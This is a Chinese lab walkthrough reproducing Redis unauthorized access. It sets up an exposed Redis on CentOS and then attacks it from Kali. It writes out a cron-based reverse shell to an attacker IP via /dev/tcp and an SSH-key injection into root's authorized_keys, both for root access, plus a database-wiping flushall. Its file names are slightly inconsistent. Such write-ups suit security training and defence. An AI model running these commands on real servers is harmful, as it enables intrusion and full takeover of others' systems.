漏洞介绍:
redis默认情况下,会绑定在0.0.0.0:6379,如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,这样将会将Redis服务暴露在公网上,如果在没有设置密码认证的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下,利用Redis自身提供的config命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的/root/.ssh/authotrized_keys文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。
实验环境
靶机:Centos7
攻击机:kali
漏洞复现
安装redis数据库
命令: wget http://download.redis.io/releases/redis-3.2.0.tar.gz
提示没有安装wget 首先安装wget
yum install -y wget
之后重新输入命令下载压缩包
将安装包下载之后 解压缩到当前目录
tar xzf redis-3.2.0.tar.gz
之后进入解压缩目录
编译
make
发现在编译过程中报错 提示未发现gcc命令
安装gcc
yum install -y gcc
安装gcc后成功编译
修改redis.conf配置文件
在bind 127.0.0.1前面加上#注释
允许其他机器访问redis服务
将保护模式改为no
即也是允许外联
之后启动redis服务
./src/redis-server redis.conf
连接redis
使用kali进行连接
redis-cli -h 192.168.175.135
可能会连接失败
连接失败时
关闭redis所在系统的防火墙
关闭后kali连接成功
reids相关命令:
192.168.63.130:6379>info //查看redis版本信息、一些具体信息、服务器版本信息等等
192.168.63.130:6379>set x "test" //将x的值设置为test
192.168.63.130:6379>flushall //把整个数据库删除
192.168.63.130:6379>KEYS * //查看所有键
192.168.63.130:6379>CONFIG GET dir //获取redis默认的目录
192.168.63.130:6379>CONFIG GET dbfilename //获取rdb文件名
反弹shell
在kali中监听7999端口
nc -lnvp 7999
在kali中 连接redis服务后
运行以下命令
root@kali:~# redis-cli -h 192.168.175.135
192.168.175.135:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.175.129/7999 0>&1\n"
OK
#动态配置 redis 文件持久化路径,并执行持久化命令
#/var/spool/cron/ 目录为定时任务目录
192.168.175.135:6379> config set dir /var/spool/cron/
OK
#root 对应的是 /var/spool/cron 定时任务目录下的子目录,该目录下的定时任务是以用户为纬度存储的,所以这里保存的目录名称应该是当前登录的用户名 root
192.168.175.135:6379> config set dbfilename root
OK
192.168.175.135:6379> save
OK
等待一分钟,查看kali是否监听到redis
监听成功
用户权限为root用户
使用ssh登录靶机
攻击机和靶机打开 SSH服务
systemctl start ssh(没有的话用apt命令安装)
在目标机创建SSH公钥可写目录
mkdir /root/.ssh //ls -al
清空攻击机/root/.ssh目录下的文件,方便区分一会要生成并存放进其中的SSH公钥文件:rm -rf*
在攻击机生成SSH公钥(需要连续敲击三下回车)
ssh-keygen -t rsa
在攻击机上切换至公钥存放目录:cd /root/.ssh
将公钥写入test.txt(前后用\n,避免和redis里其他缓存数据混合,不用会一直失败)
(echo "\n\n";cat /root/.ssh/id_rsa_pub)>test.txt
将1.txt的文本内容带入登录目标机redis服务器的过程中,后续可以直接在目标机上设置目标文件并写入
cat 1.txt | redis-cli -h 目标IP -x set crack
使用redis-cli -h 目标IP 连接目标机器并执行以下命令将本地SSH公钥写入目标机
config set dir /root/.ssh //将本地公钥写入redis机器中
config get dir
config set dbfilename authorized_keys //设置保存文件名为authorized_keys
save
在攻击机使用ssh免密登录
cd /root/.ssh
ssh -i id_rsa root@目标IP